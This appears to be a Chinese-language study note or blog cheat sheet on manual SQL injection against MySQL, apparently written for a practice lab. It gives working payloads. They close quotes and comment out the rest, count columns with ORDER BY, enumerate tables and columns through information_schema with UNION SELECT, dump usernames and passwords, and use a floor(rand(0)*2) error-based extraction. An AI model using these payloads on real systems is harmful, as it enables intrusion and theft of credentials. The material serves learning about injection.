1.一般用 ' " ) 等符號來閉合,再用%23(即#)來注釋后面語句。
2.查找數據庫,先用order by n猜字段,再用union select 1,2,3 ...n%23來查詢。
union select 1,2,database()%23
3.利用information_schema庫中tables這張表,查mysql數據庫中的第一個表。
select table_name from information_schema.tables where table_schema='mysql' limit 0,1;
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23
4.利用information_schema庫中columns這張表,查mysql數據庫中user表中的第一列名。
select column_name from information_schema.columns where table_schema='mysql' and table_name='user' limit 0,1;
union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'%23
5.知道庫名,表名,列名直接查數據了
union select 1,group_concat(username),group_concat(password) from users%23
6.當無回顯時可利用報錯大法(其他報錯函數也行,可參考我另一篇博客)
select count(*),floor(rand(0)*2) x from information_schema.tables group by x;
錯誤報告中的'1'就是floor(rand(0)*2)的執行結果
爆mysql數據庫中的第一張表名
select count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema="mysql" limit 0,1),0x7e,floor(rand(0)*2)) x from information_schema.tables group by x;